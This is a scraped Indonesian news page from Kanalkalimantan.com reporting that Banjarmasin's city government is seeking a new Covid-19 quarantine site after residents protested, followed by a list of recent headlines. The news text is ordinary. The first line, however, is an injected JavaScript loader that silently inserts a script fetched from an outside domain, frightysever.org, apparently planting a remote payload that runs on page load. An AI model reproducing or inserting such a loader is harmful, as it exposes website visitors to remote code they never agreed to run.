(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pemko Banjarmasin Cari Lokasi Alternatif Pusat Karantina Covid-19


KANALKALIMANTAN.COM, BANJARMASIN – Setelah mendapat protes warga Komplek Kayu Tangi II, Jalan Brigjen H. Hasan Basry Kelurahan Pangeran, Pemko Banjarmasin memutuskan mencari lokasi baru pusat karantina untuk Covid-19. Sejumlah lokasi baru sedang disiapkan yang lokasinya relatif jauh dari permukiman.

Hal ini menjadi kesepakatan dalam mediasi Wali Kota Banjarmasin Ibnu Sina dengan warga di Mesjid Al Barqah yang tak jauh dari lokasi Gedung Balai Diklat yang tadinya hendak digunakan sebagai pusat karantina, pada Rabu (8/4/2020).

Dalam proses mediasi, sebagian besar warga menolak digunakannya gedung yang masuk di dalam Komplek Kayu Tangi II ini sebagai pusat karantina bagi orang dalam pemantauan (ODP) di Kota Banjarmasin. Kendati mendapat penolakan, Wali Kota Banjaramsin H. Ibnu Sina pun berjanji, akan mencari lokasi alternatif pusat karantina. “Kita tunda dulu pelaksanaan (karantina) di sini sambil mencari tempat,” kata Ibnu.

Menurut Ibnu, penyiapan pusat karantina ini harus segera disiapkan. Guna mengatasi lonjakan ODP di Kota Banjarmasin. Sehingga, orang yang masuk ODP yang semestinya cukup karantina mandiri di rumah saja, namun tidak ada ruangan khusus ataupun keluarga yang menangani, maka harus dibawa ke pusat karantina.

“Rencana itulah ODP dikarantika di pusat karantina, dengan kategori ODP ringan. Kalau ODP berat pasti dirujuk ke rumah sakit,” ucap Ibnu.

Berdasarkan data dari Gugus Tugas P3 Covid-19 Kalimantan Selatan pada Rabu (8/4/2020) pukul 10:00 Wita, jumlah ODP di Kota Seribu Sungai ini mencapai 170 orang. “Kita tidak ingin ketika meledaknya jumlah ODP yang tidak kita inginkan, sehingga tidak ada yang menangani. Rumah sakit pasti tidak akan mampu,” tegas Ibnu.

Lalu, di mana alternatif pengganti pusat karantina selanjutnya? “Nanti kita pikirkan. Ada alternatif juga yaitu Kantor PMI, yang agak terpisah dari pemukiman penduduk,” tukas Ibnu.

Lokasi gedung yang dimaksud, berada di Jalan Jafri Zam-zam, Kelurahan Teluk Dalam, atau samping eks rumah dinas Wali Kota Banjarmasin yang tak jadi dibangun di era kepemimpinan almarhum Sophian Arpan. Saran ini sendiri datang dari salah seorang warga yang mengusulkan pada proses mediasi. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Ini Aturan Warung Makan Selama Ramadan di Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN — Mendekati Ramadan, Wali Kota Banjarmasin H Muhammad Yamin HR mengeluarkan kebijakan pelaksanaan… Read More

11 jam ago

‎Berbagi Semangat Mengaji dengan Dansatgas TMMD di TPA Al Ikhlas

‎KANALKALIMANTAN.COM, AMUNTAI – Senyum tawa anak-anak Desa Hambuku Hulu mewarnai halaman rumah warga yang sementara… Read More

16 jam ago

Hendak Tawuran, 16 Remaja Bawa Sajam Diamankan

KANALKALIMANTAN.COM, BANJARMASIN - Kepolisian Sektor (Polsek) Banjarmasin Selatan mengamankan belasan remaja dan sejumlah senjata tajam… Read More

17 jam ago

“Bakawaan Season 1” Perkuat Kolaborasi Ekosistem Ekraf Balangan

KANALKALIMANTAN.COM, PARINGIN - Gerakan Ekonomi Kreatif Nasional (Gekrafs) Kabupaten Balangan menghadirkan Balangan Kreatif Wadah Anak… Read More

1 hari ago

Banjarmasin Masih ‘Darurat Sampah’, Dorong Pengolahan Sampah Organik Mandiri

KANALKALIMANTAN.COM, BANJARMASIN - Wali Kota Banjarmasin, H Muhammad Yamin HR mendorong masyarakat bisa mengolah sampah… Read More

1 hari ago

Stadion Internasional di Landasan Ulin Barat, Lahan 28,7 Hektare Disiapkan

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi Kalimantan Selatan (Kalsel) mengumumkan penetapan lokasi pembebasan lahan untuk pembangunan… Read More

1 hari ago

This website uses cookies.